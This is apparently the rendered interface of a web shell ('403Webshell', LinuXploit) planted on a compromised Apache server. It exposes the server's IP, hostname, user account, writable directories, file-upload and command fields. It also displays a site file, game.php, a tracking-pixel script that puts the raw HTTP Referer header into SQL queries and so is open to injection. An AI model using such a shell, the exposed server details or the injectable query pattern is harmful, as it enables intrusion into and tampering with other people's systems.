403Webshell
Server IP : 103.82.32.14  /  Your IP : 216.73.217.177
Web Server : Apache/2.2.32 (Unix) mod_ssl/2.2.32 OpenSSL/1.0.1e-fips mod_fcgid/2.3.9
System : Linux cloud.lonmanhoabinh.com 2.6.32-754.35.1.el6.x86_64 #1 SMP Sat Nov 7 12:42:14 UTC 2020 x86_64
User : lonmakmf ( 524)
PHP Version : 5.6.30
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/forumhet/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/forumhet/public_html/game.php
<?php 
define('_IN_JOHNCMS', 1);
require('incfiles/core.php');
if(isset($_GET['select']))
{
	echo pow(23,8)/100/60/24/365;
	?>
	<table border="1">
		<tr>
			<td>
				URL
			</td>
			<td>
				VIEW
			</td>
		</tr>
	
	<?php
	$total_view = 0;
	$query = mysql_query("SELECT * FROM `bot_view` ORDER BY `view` DESC");
	while($req = mysql_fetch_array($query))
	{
		$total_view += $req['view'];
		?>
		<tr>
			<td>
				<?php echo $req['url']; ?>
			</td>
			<td>
				<?php echo $req['view']; ?>
			</td>
		</tr>
		<?php
	}
	?>
	<tr>
		<td>TOTAL VIEW</td>
		<td><?php echo $total_view; ?></td>
	</tr>
	</table>
	<?php
	exit;
}
create_image(); 
exit(); 

function create_image() 
{ 
	$row = mysql_num_rows(mysql_query("SELECT * FROM `bot_view` WHERE `url` LIKE '".$_SERVER['HTTP_REFERER']."'"));
	if($row > 0)
	{
		mysql_query("UPDATE `bot_view` SET `view` = `view`+1 WHERE `url` LIKE '".$_SERVER['HTTP_REFERER']."'");
	}
	else
	{
		mysql_query("INSERT INTO `bot_view` (`id`, `url`, `view`) VALUES (NULL, '".$_SERVER['HTTP_REFERER']."', '1')");
	}
	
    $width = 1; 
    $height = 1;  
    $image = ImageCreate($width, $height);  
    $white = ImageColorAllocate($image, 255, 255, 255); 
    $black = ImageColorAllocate($image, 255, 255, 255); 
    ImageFill($image, 0, 0, $black); 
    header("Content-Type: image/jpeg"); 
    ImageJpeg($image); 
    ImageDestroy($image); 
} 
?>

Youez - 2016 - github.com/yon3zu
LinuXploit